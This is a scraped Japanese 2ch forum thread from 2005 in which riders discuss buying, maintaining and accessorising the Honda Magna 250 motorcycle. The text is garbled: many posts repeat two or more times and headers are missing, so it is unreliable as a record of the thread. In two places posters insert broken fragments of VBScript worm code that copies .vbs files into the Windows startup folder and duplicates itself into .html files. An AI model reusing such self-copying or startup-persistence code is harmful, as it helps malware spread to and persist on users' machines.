色は、青ぽい気がしました。二百キロも出しません。四月から十月のバイク
シーズンしか乗りません。通勤、雨、雪は、ミドルスクーターです。町乗りもです。
他の地域にいく時に250以上が欲しいなと思いました。冬場の半年間は乗りません。
今は売れてないので、後悔です。アメリカン経験はなし。今までは足つきの悪いネイキッドやビックバイクとか
乗ってました。車高が低いバイクやビックスクーターがのって見たくて、アメリカンの重さ、ゆーたんが怖そう。すり抜けが気になります。
マグナ250でもマグナ750でもさほど変わらないということですね。
ブレーキーだけ利かなくて、特には、今のアメリカンとの差はないと言うことですね。
クラッチが重いとか、
極低速で曲がるときに「ユラッ」と切れ込む事があるけどこのテのバイクの宿命だし余り気にはならない
ってのは、アメリカン特有って事ですね。
ちなみにいくらで購入しましたか?
大差なければ初期のマグナの四本出すがいいですね。座ったこともあるし、
足つきもいいし、後者の逆輸入のマグナは知ってます。バイクやで見たことは
ないです。何が違うかも分かりません。前者の四本出しがいいですね。
色は、青ぽい気がしました。二百キロも出しません。四月から十月のバイク
シーズンしか乗りません。通勤、雨、雪は、ミドルスクーターです。町乗りもです。
他の地域にいく時に250以上が欲しいなと思いました。冬場の半年間は乗りません。
119 ：７７４ＲＲ：05/02/22 04:00:21 ID:fOM+ux3u
貴重なんですね。もう見かけないです。いろいろあわせても三十万円で買えたかと。
青色ぽい気がしました。シルバーで750かリッターで新車で出せば売れるのになと思います。
マグナがあれだけはやってれば、でかいクラスも売れると思う。マジェーだって四百が出るし、
125とか、四本だしがよい。逆車の今のはちょっと、四本出しがよいと思います。
バイク屋で見つけてもらって、安く買えればみっけもんですね。
マグナ250で乗ってみて、やっぱり750となるかもしれないし、
メーカーに要望出して、750の新車でも出してもらいたいです。安くて
あのデザインならきっと売れると思います。カラーを増やすとか、
青色ぽい気がしました。シルバーで750かリッターで新車で出せば売れるのになと思います。
マグナがあれだけはやってれば、でかいクラスも売れると思う。マジェーだって四百が出るし、
125とか、四本だしがよい。逆車の今のはちょっと、四本出しがよいと思います。
バイク屋で見つけてもらって、安く買えればみっけもんですね。
マグナ250で乗ってみて、やっぱり750となるかもしれないし、
メーカーに要望出して、750の新車でも出してもらいたいです。安くて
あのデザインならきっと売れると思います。カラーを増やすとか、
120 ：７７４ＲＲ：05/02/22 04:07:38 ID:fOM+ux3u
検索しても750はでないですね。数ヶ月前に見ました。後悔ももう買えないですね。
121 ：７７４ＲＲ：05/02/22 06:02:20 ID:7L+VfFlq
日本人ですか？
今750がすごい安いのは古いし人気ないからだよ。
123 ：７７４ＲＲ：05/02/23 01:45:33 ID:F8j9ymkd
大型は、人気ないんだ。今の大型って速いし、軽いし、足つきがいいし、
四百乗るよりも大型の方がいいな。六百は軽くていいけど高すぎだ。ゼファー、シャドウあたりが安い。リッターバイクもそこそこ安い。リッタークラスのアメリカンは高いね。
確かに大型は昔の古い機種のバイクが多いね。マグナ250買うか、じっくり考えます。
四百乗るよりも大型の方がいいな。六百は軽くていいけど高すぎだ。ゼファー、シャドウあたりが安い。リッターバイクもそこそこ安い。リッタークラスのアメリカンは高いね。
確かに大型は昔の古い機種のバイクが多いね。マグナ250買うか、じっくり考えます。
今は、V－TWINマグナも人気ないんだけどな。
盗難されにくいバイクのランキング上位だったし
盗難されにくいバイクのランキング上位だったし
盗まれるのはビクスクとかがおおいんじゃないの？
126 ：７７４ＲＲ：05/02/25 01:30:00 ID:QU4P7c2e
20万円台でマグナ250が買えるので、初のアメリカンはよいかなと、保険も安いし、
燃費もいいし、高速道路や外道のロングツーリングできるのかなと
ちょっと不安ですが、四月から十月の半年しか乗りません。
今の150のスクーターも持ってます。家族のですが、通勤にしよう。
高速はつらいし、最高速度は出ないし、ツーリングがつらいので、
マグナで半年間乗りたいなと、飽きなければ、来年も乗りたいと思ってます。
マグナ750は古いし、見かけないので、断念するかなと、
前に見たときは、保険入れて三十万円で乗れたんじゃないかなと思いました。
過去ログとか見られないので、マグナ250のツーリング話やら
125を持ってる人の話を聞きたいです。
燃費もいいし、高速道路や外道のロングツーリングできるのかなと
ちょっと不安ですが、四月から十月の半年しか乗りません。
今の150のスクーターも持ってます。家族のですが、通勤にしよう。
高速はつらいし、最高速度は出ないし、ツーリングがつらいので、
マグナで半年間乗りたいなと、飽きなければ、来年も乗りたいと思ってます。
マグナ750は古いし、見かけないので、断念するかなと、
前に見たときは、保険入れて三十万円で乗れたんじゃないかなと思いました。
過去ログとか見られないので、マグナ250のツーリング話やら
125を持ってる人の話を聞きたいです。
日本人ですか？
来週納車だ。一週間が長く感じる。
129 ：７７４ＲＲ：05/02/25 22:32:20 ID:DU98FiSs
新車？
新車。色は結構迷ったが白にしました。
しばらくはノーマルのままかな。
しばらくはノーマルのままかな。
131 ：７７４ＲＲ：05/02/26 01:14:14 ID:Utm6j0xv
おれは２１万の中古なのに
メーターパネルが点灯しなくなったんですけど、
自分で交換できますかね？
自分で交換できますかね？
>>132
メーターパネルの周りの4つの6角ねじを外してメーターの裏を見ると
ウェッジ球が刺さっているところあるからそれを交換しておしまい。
LEDタイプのウェッジ球にするとバッテリーにほんのちょっとだけ優しいかも
あとは自分の好きな色のライトを入れるとその色に光る
漏れの場合青に近いホワイトのLED球を入れてみた
メーターパネルの周りの4つの6角ねじを外してメーターの裏を見ると
ウェッジ球が刺さっているところあるからそれを交換しておしまい。
LEDタイプのウェッジ球にするとバッテリーにほんのちょっとだけ優しいかも
あとは自分の好きな色のライトを入れるとその色に光る
漏れの場合青に近いホワイトのLED球を入れてみた
135 ：７７４ＲＲ：05/03/01 01:51:09 ID:MMtwBxUX
21万円ですか、安いですね。外装とか程度はどうですか?
マグナ250ってどうですか、高速乗ったり、ツーリングとかはどうですか?
でかいから安定感もよさそう。二人乗りの高速しても車高も低いし
乗りやすそうなかんじもします。
マグナ250ってどうですか、高速乗ったり、ツーリングとかはどうですか?
でかいから安定感もよさそう。二人乗りの高速しても車高も低いし
乗りやすそうなかんじもします。
136 ：７７４ＲＲ：05/03/01 01:52:51 ID:MMtwBxUX
21万円ですか、安いですね。外装とか程度はどうですか?
マグナ250ってどうですか、高速乗ったり、ツーリングとかはどうですか?
でかいから安定感もよさそう。二人乗りの高速しても車高も低いし
乗りやすそうなかんじもします。
マグナ250ってどうですか、高速乗ったり、ツーリングとかはどうですか?
でかいから安定感もよさそう。二人乗りの高速しても車高も低いし
乗りやすそうなかんじもします。
137 ：７７４ＲＲ：05/03/01 01:56:18 ID:MMtwBxUX
二つかぶって投稿してすいません。ロングツーリングとか雨、雪とか
どうなんですかね。最高速度とか、安定感、燃費、そこらへんを教えてください。
ホンダにマグナ750や125出るように言おうと思ってます。ほしいという意見が多ければ
必ず出してくれるだろうし、マグナに二人のりしてる若者を見ると、
たいやー太いし、でかいバイクだなって思ってしまう。
どうなんですかね。最高速度とか、安定感、燃費、そこらへんを教えてください。
ホンダにマグナ750や125出るように言おうと思ってます。ほしいという意見が多ければ
必ず出してくれるだろうし、マグナに二人のりしてる若者を見ると、
たいやー太いし、でかいバイクだなって思ってしまう。
池沼ウゼ
高速：ちょいと辛い。110程度まではすっと出るけど、それ以上は前傾姿勢で頑張ってみたりと、
徐々に上がるのを待つのみ。
ツーリング：レプリカのポジションよりは楽なのかな、いろいろ自由な姿勢できるし。
とはいえ、純正のシートの形が姿勢に対してちょいと微妙。
二人乗り：ダメダメ。ちゅーか250で二人乗りはするもんじゃない。
すり抜け時に二人乗りしてると後続からひんしゅく買います。
タンデムステップの位置が微妙。タンデムシートがないとシートが後ろに傾斜してて落ちそう。
安定感：まぁ、あるのかな。車重184で250にしては重い方だし、フロントもゴツくて重いし。
最高速：メーター読みで最高速140ちょい。
燃費：通常走行リッター27ｋ フルスロットル20ｋ以下
なんか駄目なとこばっかり書いてる気がするけど、やっぱまず出てくるのは不満なトコでしょ。
まぁ、良い点は低・中速域のトルクが太くていい加速をする、車検いらない、税金安いってトコか。
みんなもフォーム形式ででも語っとけ。
徐々に上がるのを待つのみ。
ツーリング：レプリカのポジションよりは楽なのかな、いろいろ自由な姿勢できるし。
とはいえ、純正のシートの形が姿勢に対してちょいと微妙。
二人乗り：ダメダメ。ちゅーか250で二人乗りはするもんじゃない。
すり抜け時に二人乗りしてると後続からひんしゅく買います。
タンデムステップの位置が微妙。タンデムシートがないとシートが後ろに傾斜してて落ちそう。
安定感：まぁ、あるのかな。車重184で250にしては重い方だし、フロントもゴツくて重いし。
最高速：メーター読みで最高速140ちょい。
燃費：通常走行リッター27ｋ フルスロットル20ｋ以下
なんか駄目なとこばっかり書いてる気がするけど、やっぱまず出てくるのは不満なトコでしょ。
まぁ、良い点は低・中速域のトルクが太くていい加速をする、車検いらない、税金安いってトコか。
みんなもフォーム形式ででも語っとけ。
140 ：７７４ＲＲ：05/03/02 02:08:43 ID:EPL8KWdB
俺が乗ってた最初期型のマグナ、130キロちょっとしか出なかった。
ライトケースに写り込む景色を楽しみながら40キロくらいでトコトコ走るのが楽しいなと思った24の春。
飛行機に乗せて北海道行こうと思ったら大型車と同じ料金で愕然とした。
ライトケースに写り込む景色を楽しみながら40キロくらいでトコトコ走るのが楽しいなと思った24の春。
飛行機に乗せて北海道行こうと思ったら大型車と同じ料金で愕然とした。
141 ：７７４ＲＲ：05/03/02 05:05:01 ID:A7F19eKk
飛行機に乗せていけるんだ。でも大型と同じ料金はなぜ?
でかいから? 飛行機便って、排気量に比例しないんですか?
フェリーを使うといいですね。125がフェリーはお得です。
マグナ125ないし、マグナ50はちょっと。原付ルールーはやです。
アメリカン初なのでなにもわかりません。とことこという音を楽しむのが
よいんですかね。
でかいから? 飛行機便って、排気量に比例しないんですか?
フェリーを使うといいですね。125がフェリーはお得です。
マグナ125ないし、マグナ50はちょっと。原付ルールーはやです。
アメリカン初なのでなにもわかりません。とことこという音を楽しむのが
よいんですかね。
142 ：７７４ＲＲ：05/03/04 10:38:15 ID:Rn3T2Qk3
荷物のせたいんだけど純正のバックレストと社外のシーシーバーどっちがいいかな？
あとスパトラつけてる人いるけどどうなの？
あとスパトラつけてる人いるけどどうなの？
スパトラ結構良かったよ～
純正の音をもちょい低い感じにして、やや大きな音にしてる感じ？
ノーマルスタイル好きな人にはお勧め。高いけどね。
純正バックレスト頑丈でいいと思うけど、好みかな。
純正の音をもちょい低い感じにして、やや大きな音にしてる感じ？
ノーマルスタイル好きな人にはお勧め。高いけどね。
純正バックレスト頑丈でいいと思うけど、好みかな。
だせ
145 ：７７４ＲＲ：05/03/08 00:27:33 ID:jUVaUuMt
いくらなんでもsageすぎ。
マグナとビラーゴとエリミネータで悩むorz
>>146
じゃ ドラッグスターにしとけ！
じゃ ドラッグスターにしとけ！
148 ：７７４ＲＲ：05/03/09 20:32:22 ID:pDj/b+9g
マグナ250って取り回ししやすい？街乗りでもストレス無い？
>>148
住めば都
取り回しは
ネイキッドよりは悪くて
スティードどより良い
普通に街乗りはストレス無し
前車がｾﾊﾟﾊﾝであった人はすり抜けしづらい
すり抜けは成れれば問題なし
幅が気になるんだったらミーラーを変更
お金が有ればハンドル変更
乗れば都
住めば都
取り回しは
ネイキッドよりは悪くて
スティードどより良い
普通に街乗りはストレス無し
前車がｾﾊﾟﾊﾝであった人はすり抜けしづらい
すり抜けは成れれば問題なし
幅が気になるんだったらミーラーを変更
お金が有ればハンドル変更
乗れば都
150 ：７７４ＲＲ：05/03/09 21:10:22 ID:pDj/b+9g
ドラスタ１１００よりは乗り回ししやすそうだな。さんきゅー！
151 ：７７４ＲＲ：05/03/09 23:18:19 ID:3OudCRig
すり抜けつらい。歩道の路側でステップ削りまくり。
あまり無理してすり抜けはしないようにしてまつ・・・・
あまり無理してすり抜けはしないようにしてまつ・・・・
先週末に納車しました。ﾏｸﾞﾅって前ｳｲﾝｶｰが常時点灯してるけど、社外品に変えたら点かなくなってしまうんですか？
154 ：７７４ＲＲ：05/03/10 13:26:01 ID:2Lf1c7CH
>>151
ああ、ステップの位置がちょうど当たるよな。
ちゅーか、そんな場面にはほとんど出会わないような。大体そういう時は右からいけるってのもあるし。
すり抜け用にハンドル変えようかと思ったが、チョッパーな奴じゃ操舵性落ちるだろうし、変えてないな。
ああ、ステップの位置がちょうど当たるよな。
ちゅーか、そんな場面にはほとんど出会わないような。大体そういう時は右からいけるってのもあるし。
すり抜け用にハンドル変えようかと思ったが、チョッパーな奴じゃ操舵性落ちるだろうし、変えてないな。
157 ：７７４ＲＲ：05/03/12 00:41:22 ID:unCZR5kd
現在，マグナの購入を検討しています。
今までバイクを買ったことが無いので，どなたか経験者のに教えていただきたいのですが・・
マグナの場合，新車で購入すると，値引き込みで乗り出し価格は一体いくらぐらいになるのでしょうか？
今までバイクを買ったことが無いので，どなたか経験者のに教えていただきたいのですが・・
マグナの場合，新車で購入すると，値引き込みで乗り出し価格は一体いくらぐらいになるのでしょうか？
158 ：７７４ＲＲ：05/03/12 00:58:56 ID:D8NeJv6R
俺も約５８万だったYO！
160 ：７７４ＲＲ：05/03/12 01:51:55 ID:unCZR5kd
>>158
レスありがとうございます。
そしてマグナ購入おめでとうございます。羨ましいなー。
58万で乗り出しですか・・
やはり，私にとっては少し予算オーバーです(T_T)
車は何度か乗り換えているので，値引きなど大体の相場はわかるのですが・・
やはり，中古で程度の良い物を根気よく探すしか手はないようです。
質問ついでですが
乗り出し45～50万程度で，どの程度の中古車（年式，走行距離など）が手に入るものなのでしょうか？
ちなみにフルノーマル希望です。
どなたか，経験者の方お教え下さい。
レスありがとうございます。
そしてマグナ購入おめでとうございます。羨ましいなー。
58万で乗り出しですか・・
やはり，私にとっては少し予算オーバーです(T_T)
車は何度か乗り換えているので，値引きなど大体の相場はわかるのですが・・
やはり，中古で程度の良い物を根気よく探すしか手はないようです。
質問ついでですが
乗り出し45～50万程度で，どの程度の中古車（年式，走行距離など）が手に入るものなのでしょうか？
ちなみにフルノーマル希望です。
どなたか，経験者の方お教え下さい。
本当はｽﾃｨｰﾄﾞ系のﾁｮｯﾊﾟｰバイクがいんだけど維持費の問題でマグナを買おうか迷ってるんですが何処を改造したらﾁｮｯﾊﾟｰが似合うようにになりますか？あの形にハンドルだけﾁｮｯﾊﾟｰにしても似合わなそうな気が‥誰かﾁｮｯﾊﾟｰにｼｰｼｰﾊﾞｰでｽﾃｨｰﾄﾞ風にした人いませんか？
>>161
同じアメリカンでもタイプが違う車種だから難しいよ
それなら頑張ってスティード買うかビラーゴ250辺りをカスタムするのがよろしいかと
個人的にはマグナをマグナらしいスタイルで乗って欲しいけどね＾＾；
同じアメリカンでもタイプが違う車種だから難しいよ
それなら頑張ってスティード買うかビラーゴ250辺りをカスタムするのがよろしいかと
個人的にはマグナをマグナらしいスタイルで乗って欲しいけどね＾＾；
>>160
中古で45～50万ならいくらでも見つかる気が。
任意入れての乗り出しという事なのかわからないけど。
01年購入、94年式、7000キロ走行、42万（車両35万、任意別）、程度良。
当時雑誌で同程度で30万切ってたのもあったし、
今なら97、98年の奴でもそれくらいであるんでないの。
中古で45～50万ならいくらでも見つかる気が。
任意入れての乗り出しという事なのかわからないけど。
01年購入、94年式、7000キロ走行、42万（車両35万、任意別）、程度良。
当時雑誌で同程度で30万切ってたのもあったし、
今なら97、98年の奴でもそれくらいであるんでないの。
ありがとうございます。うーんビラーゴは最高に形は好きなんですけど小さいんですよね。マグナのなんか、くの字で前ノメリな乗り方がどうも‥背中にもたれかかってあごを出て見下ろす感じにはだいぶお金かかりそうですねー
165 ：７７４ＲＲ：05/03/13 21:35:45 ID:Ya3ge6sB
俺のマグナ、タンク満タンで250kmくらい走るんだけど、こんなもんかな？
んなもんじゃね？比較的まわしてる方かな。
それか、ちゃんとガソリンを規定量にしてるか。ギリギリまでだと１２L入るし。
街乗り・ツーリングの違いよりも、乗り方による燃費の方がデカい悪寒。
ツーリングだろうが、フルスロットルの時間が長いと普通にリッター20切るし。
それか、ちゃんとガソリンを規定量にしてるか。ギリギリまでだと１２L入るし。
街乗り・ツーリングの違いよりも、乗り方による燃費の方がデカい悪寒。
ツーリングだろうが、フルスロットルの時間が長いと普通にリッター20切るし。
常にリッター20くらいだけどなぁ どっかおかしいのかなぁ
>>165
250kmってのは、リザーブ込みだよね？
250kmってのは、リザーブ込みだよね？
171 ：７７４ＲＲ：05/03/15 23:19:47 ID:MbWLU97F
あげ
172 ：７７４ＲＲ：05/03/16 02:21:27 ID:L5hZtNra
250ccスクーターより非力なの？
ビグスクは乗ったことないなぁ。
>>170氏察しの通り、250ｃｃは単純に非力ってことで。
マグナのように、いくら低・中にトルク振っても、
重い物を運ぶ時、重要なのは馬力らしいしね。
そりゃタンデムの乗り心地が一番いい種類はビグスクでしょ。
マニュアルだと普段以上に半クラ使う必要あるし。シートの形状にしてもタンデム前提だし。
とりあえず、両方乗った事ある人きぼん。
>>170氏察しの通り、250ｃｃは単純に非力ってことで。
マグナのように、いくら低・中にトルク振っても、
重い物を運ぶ時、重要なのは馬力らしいしね。
そりゃタンデムの乗り心地が一番いい種類はビグスクでしょ。
マニュアルだと普段以上に半クラ使う必要あるし。シートの形状にしてもタンデム前提だし。
とりあえず、両方乗った事ある人きぼん。
174 ：７７４ＲＲ：05/03/17 01:12:14 ID:yW+GO7Kz
タケガワのＥＬ－ＰＡＳＯマフラーってｶｺｲｲ!
欲しいけど、もう売ってないんだよね。
欲しいけど、もう売ってないんだよね。
175 ：７７４ＲＲ：05/03/17 01:39:38 ID:fnDBnndT
ドラッグスター250からマジェスティ250に乗り換えましたが
どっちも非力でしたよ（マグナはＤＳ250よかパワーあるけど）
所詮は250ですからＮＳＲとかバリオスでない限りあまり変化無しと思われ
タンデム時は格段にマジェの方が楽です（シートもでかいし）
どっちも非力でしたよ（マグナはＤＳ250よかパワーあるけど）
所詮は250ですからＮＳＲとかバリオスでない限りあまり変化無しと思われ
タンデム時は格段にマジェの方が楽です（シートもでかいし）
来週頭に黒マグナS納車(*´Д`*)ﾊｧﾊｧ
いきなり店から家までのロングドライブだ(;´Д`)
いきなり店から家までのロングドライブだ(;´Д`)
俺もいきなり交通量の多い片側２車線道路を右折で合流しないといけなかったから汗ったよ。
店の人は出て行くまでずっとみてるし。あれは初心者にとってすごいプレッシャーだ。
荒木飛呂彦にその場を書かせたら、絶対背景に「ドドドドドドド」って書かれる。
店の人は出て行くまでずっとみてるし。あれは初心者にとってすごいプレッシャーだ。
荒木飛呂彦にその場を書かせたら、絶対背景に「ドドドドドドド」って書かれる。
181 ：７７４ＲＲ：05/03/20 01:12:53 ID:X4bJ1l7T
初期型マグナを買って早２ヶ月、ハリケーンのシーシーバーを取り付けたものの
ウィンカーの配線が表から見える始末…。
だれかハリケーンのシーシーバー＆プレートをつけてる人で上手い配線の仕方してるひといます？
ウィンカーの配線が表から見える始末…。
だれかハリケーンのシーシーバー＆プレートをつけてる人で上手い配線の仕方してるひといます？
182 ：７７４ＲＲ：05/03/20 01:34:51 ID:9+ffRP8b
マグナ250買うの検討中の者で二人乗りの事なんですが、
後ろに座る人のシート、微妙に狭くないですか？
後ろに座る人、ストレス感じないですかね？
後ろに座る人のシート、微妙に狭くないですか？
後ろに座る人、ストレス感じないですかね？
183 ：７７４ＲＲ：05/03/20 01:40:38 ID:RaXiypaQ
age
185 ：７７４ＲＲ：05/03/20 04:31:40 ID:99YiuAXQ
マグナ欲しい・・・
ドラッグスター400と並べても互角のでかさがあるし
ドラッグスター400と並べても互角のでかさがあるし
186 ：７７４ＲＲ：05/03/20 08:27:21 ID:RaXiypaQ
>>185いいよなぁ！
>>184
タンデムシート＝後ろに座る人のシート
タンデムシート＝後ろに座る人のシート
>>184
すんまそん、シーシーバーの間違いでつ。
すんまそん、シーシーバーの間違いでつ。
シートの話題が出たので質問。
社外シート使ってる方、
各シートのインプレをお願いしたい。
タバコでいたずらされたシートがじわじわ傷口が広がってきたので
そろそろ買い換えようかと。
ちなみに当方純正ハンドルにハリケーンのフォアコンつけてます。
「く」の字の不思議な格好で運転しております。
長時間走ると腰が痛くて痛くて・・・。
ハンドル換えれば即解決なんでしょうけどね。
とりあえずそれは置いといてシートのインプレよろしくお願い致します！
社外シート使ってる方、
各シートのインプレをお願いしたい。
タバコでいたずらされたシートがじわじわ傷口が広がってきたので
そろそろ買い換えようかと。
ちなみに当方純正ハンドルにハリケーンのフォアコンつけてます。
「く」の字の不思議な格好で運転しております。
長時間走ると腰が痛くて痛くて・・・。
ハンドル換えれば即解決なんでしょうけどね。
とりあえずそれは置いといてシートのインプレよろしくお願い致します！
190 ：７７４ＲＲ：05/03/21 00:19:52 ID:RB+VpamB
…やっぱエリミちゃんかなぁ…
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
193 ：７７４ＲＲ：2005/03/21(月) 09:30:10 ID:uPorLsWm
エリミちゃんがいいお
194 ：７７４ＲＲ：2005/03/21(月) 09:32:15 ID:IzFJiKjA
馬糞にんきねーなあｗ
195 ：７７４ＲＲ：2005/03/21(月) 09:43:58 ID:tVZHzsgK
馬糞？いいじゃん。盗難にあいにくいし
>>196-197
インプレどうもありがとう。
雨水を大量にすって抜けないって・・恐ろしいね。
メットみたいにデザイン重視の物ってリスク高いのかも。
ガンファイターシートのライディングポジションが
どんな感じになるのかちょっとわからないけど
ノーマル気に入ってるんでコブラで検討してみる。
ちょうど純正同様の防水処理をうたってるコブラシート
みつけたんで、給料入ったら買ってみます。
インプレどうもありがとう。
雨水を大量にすって抜けないって・・恐ろしいね。
メットみたいにデザイン重視の物ってリスク高いのかも。
ガンファイターシートのライディングポジションが
どんな感じになるのかちょっとわからないけど
ノーマル気に入ってるんでコブラで検討してみる。
ちょうど純正同様の防水処理をうたってるコブラシート
みつけたんで、給料入ったら買ってみます。
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"
200 ：７７４ＲＲ：2005/03/25(金) 22:59:35 ID:YgSpEvL/
hageとく
201 ：７７４ＲＲ：2005/03/27(日) 08:25:35 ID:8+AM/H3L
hage
来週V-Twinが届きます。色はシルバーで、一番古い型です。楽しみです
漏れと同型です。おめでとうです。楽しみです
204 ：７７４ＲＲ：2005/03/28(月) 16:23:55 ID:urTibjzw
age
205 ：７７４ＲＲ：2005/03/29(火) 20:36:45 ID:I/yvQx/M
マグナかっちゃいました！渋い赤色のやつです。バロンで中古の99年の27万円。
はじめてバイクかったので、またここで質問させていただきますね！
学生なんで、頑張ってバイトして維持します！夏には寝袋つんでフェリーをつかって、北海道を野宿しながら一人旅したいと思っています。
大学院にもいくので、当分次のバイクは買えないでしょう。エンジンが丈夫といわれるホンダ。数年間もってほしいっす。
はじめてバイクかったので、またここで質問させていただきますね！
学生なんで、頑張ってバイトして維持します！夏には寝袋つんでフェリーをつかって、北海道を野宿しながら一人旅したいと思っています。
大学院にもいくので、当分次のバイクは買えないでしょう。エンジンが丈夫といわれるホンダ。数年間もってほしいっす。
>>205
自分ももうすぐ納車です！楽しみです
自分ももうすぐ納車です！楽しみです
やっとドラムブレーキの掃除が終わった！！
3時間かかったよう・・みんなやっぱりショップに任せてますか？
オイル交換は廃オイルの処理がマンドクセなので任せていますが、、
>>202>>205
納車オメ！！
マグナのエンジンはかなり丈夫らしいですよ！
オイル交換さえきっちりやれば長持ちするとホンダの人が言ってました。
漏れも大学生。初バイクがマグナで今９ヶ月目。
２００００ｋｍを越えましたがエンジンもかなり快調ですよ。
そろそろエアクリーナー交換です。
3時間かかったよう・・みんなやっぱりショップに任せてますか？
オイル交換は廃オイルの処理がマンドクセなので任せていますが、、
>>202>>205
納車オメ！！
マグナのエンジンはかなり丈夫らしいですよ！
オイル交換さえきっちりやれば長持ちするとホンダの人が言ってました。
漏れも大学生。初バイクがマグナで今９ヶ月目。
２００００ｋｍを越えましたがエンジンもかなり快調ですよ。
そろそろエアクリーナー交換です。
>>208
漏れも店まかせ～
漏れも店まかせ～
211 ：７７４ＲＲ：2005/03/31(木) 16:31:37 ID:G1i3Eg1n
キタキタキター デカイデカイ重い重い
212 ：205：2005/03/31(木) 18:43:02 ID:XhxlqFVs
納車はまだなんですが、すこし質問させてください。
ほんとになんもしらん初心者です。
自分がかうやつはホンダ純正のバックレストとリアキャリアがついてます。
リアキャリアはまー、はずします。すぐ脱着できるみたいなんで。
ラウンドシーシーバーみたいな長めのやつつけたいんですが、金がないんで
無理ですね。あるだけよしです。リアキャリアはツーリングいくときはあると便利なのかな？
ぶっちゃけ使い方よくしりません。荷物をネットで固定するかボックスをかう
ぐらいなんですかね？使い方は。あとサイドバッグもつけたいんですけど
無理なんですか？サイドバッグサポートみたいに、タイヤとかに干渉しないような
ものをつけないと無理なんですか？素人なりに調べたら、バックレストと
サポートは同時につけられないみたいにかかれたとこがあったんですが。
ほんとになんもしらん初心者です。
自分がかうやつはホンダ純正のバックレストとリアキャリアがついてます。
リアキャリアはまー、はずします。すぐ脱着できるみたいなんで。
ラウンドシーシーバーみたいな長めのやつつけたいんですが、金がないんで
無理ですね。あるだけよしです。リアキャリアはツーリングいくときはあると便利なのかな？
ぶっちゃけ使い方よくしりません。荷物をネットで固定するかボックスをかう
ぐらいなんですかね？使い方は。あとサイドバッグもつけたいんですけど
無理なんですか？サイドバッグサポートみたいに、タイヤとかに干渉しないような
ものをつけないと無理なんですか？素人なりに調べたら、バックレストと
サポートは同時につけられないみたいにかかれたとこがあったんですが。
213 ：７７４ＲＲ：2005/03/31(木) 22:41:49 ID:llZsw+Cz
ステーはキジマのを付けてたせいでバックレストの留め具が
短くて付かなかったので、長いのをホームセンターで買って来て
加工して付けて貰った
純正のなら大丈夫じゃないの？
＞＞２０７
俺３４だよ
短くて付かなかったので、長いのをホームセンターで買って来て
加工して付けて貰った
純正のなら大丈夫じゃないの？
＞＞２０７
俺３４だよ
214 ：７７４ＲＲ：2005/03/31(木) 22:44:37 ID:3rp7zmPZ
MAGNA→VAGNA まずMとVは「ム」と「ヴ」だから語感が似てる。
マグナ～→マギュナ→～ヴァグナ～ と呼ぶ。
ん？ヴァグナ？ ヴァギナじゃん。
HONDAヴァギナ (・∀・)ｲｲ!!
マグナ～→マギュナ→～ヴァグナ～ と呼ぶ。
ん？ヴァグナ？ ヴァギナじゃん。
HONDAヴァギナ (・∀・)ｲｲ!!
215 ：７７４ＲＲ：皇紀2665/04/01(金) 00:42:47 ID:xJ1acWaM
ノウワァァァァン""(ノ_＜。)ニュートラルランプ、ウィンカーは正常に点灯、点滅してるのに、セルモーター回らないし、ライトもバックランプも光が弱弱しい！助けて
216 ：７７４ＲＲ：皇紀2665/04/01(金) 00:44:10 ID:xJ1acWaM
ちなみに↑は>>202です。原因はバッテリーでしょうか？
217 ：７７４ＲＲ：皇紀2665/04/01(金) 00:58:54 ID:iL2Srxsb
218 ：７７４ＲＲ：皇紀2665/04/01(金) 04:22:21 ID:gacqSDhP
自演？
219 ：７７４ＲＲ：皇紀2665/04/01(金) 05:40:21 ID:xJ1acWaM
>>212 ｻｲﾄﾞﾊﾞｯｸ買おうとｼｮｯﾌﾟに行き、一緒にｽﾃｰもくれって言ったら、
ﾏｸﾞｿにはｽﾃｰ必要ないっすよ。だって。ま、ﾃﾞｨｯｼｭﾎｲｰﾙやしね。
結局漏れはｽﾃｰ無しで、ﾊﾞｯｸ直付け。
>>213 わはは～。漏れより上のｵﾔｼﾞがおった～。
>>215 ﾌﾟﾗｸﾞは大丈夫かもしれんけど、ﾊﾞｯﾃﾘｰはｱｳﾄやと思う。
ﾒﾝﾃﾅﾝｽﾌﾘｰﾊﾞｯﾃﾘｰやから素直に交換するのが吉。
押しがけしんどいけどｶﾞﾝｶﾞﾚ！
ところで4/1分から日付がおかしなことになっとるな…。
この年号の意味教えてくれー。
ﾏｸﾞｿにはｽﾃｰ必要ないっすよ。だって。ま、ﾃﾞｨｯｼｭﾎｲｰﾙやしね。
結局漏れはｽﾃｰ無しで、ﾊﾞｯｸ直付け。
>>213 わはは～。漏れより上のｵﾔｼﾞがおった～。
>>215 ﾌﾟﾗｸﾞは大丈夫かもしれんけど、ﾊﾞｯﾃﾘｰはｱｳﾄやと思う。
ﾒﾝﾃﾅﾝｽﾌﾘｰﾊﾞｯﾃﾘｰやから素直に交換するのが吉。
押しがけしんどいけどｶﾞﾝｶﾞﾚ！
ところで4/1分から日付がおかしなことになっとるな…。
この年号の意味教えてくれー。
ﾆｭｰｽ見たら
【2ch】２ちゃんねる、年号を皇紀表現へ BBS初
ってあった。
表紙も右左両方あるし…、つまらん。今日だけで終わるかもしらんけど迷惑やわー。
【2ch】２ちゃんねる、年号を皇紀表現へ BBS初
ってあった。
表紙も右左両方あるし…、つまらん。今日だけで終わるかもしらんけど迷惑やわー。
222 ：213：皇紀2665/04/01(金) 15:33:13 ID:iL2Srxsb
>>212
リアキャリアは仰るとおりスパイダーネットなどで荷物を固定すると積載量が増えますよ。
漏れはツーリングの時に買い足ししますた。サドルバックステーは純正物はつきます。
余程大きいサドルバックでない限りチェーンに干渉しませんがステーに紐かなにかで括りつけると
走行中バックがヒラヒラしませんよ。まあ値段も３０００円くらいなので精神衛生上てことで。
リアキャリアは仰るとおりスパイダーネットなどで荷物を固定すると積載量が増えますよ。
漏れはツーリングの時に買い足ししますた。サドルバックステーは純正物はつきます。
余程大きいサドルバックでない限りチェーンに干渉しませんがステーに紐かなにかで括りつけると
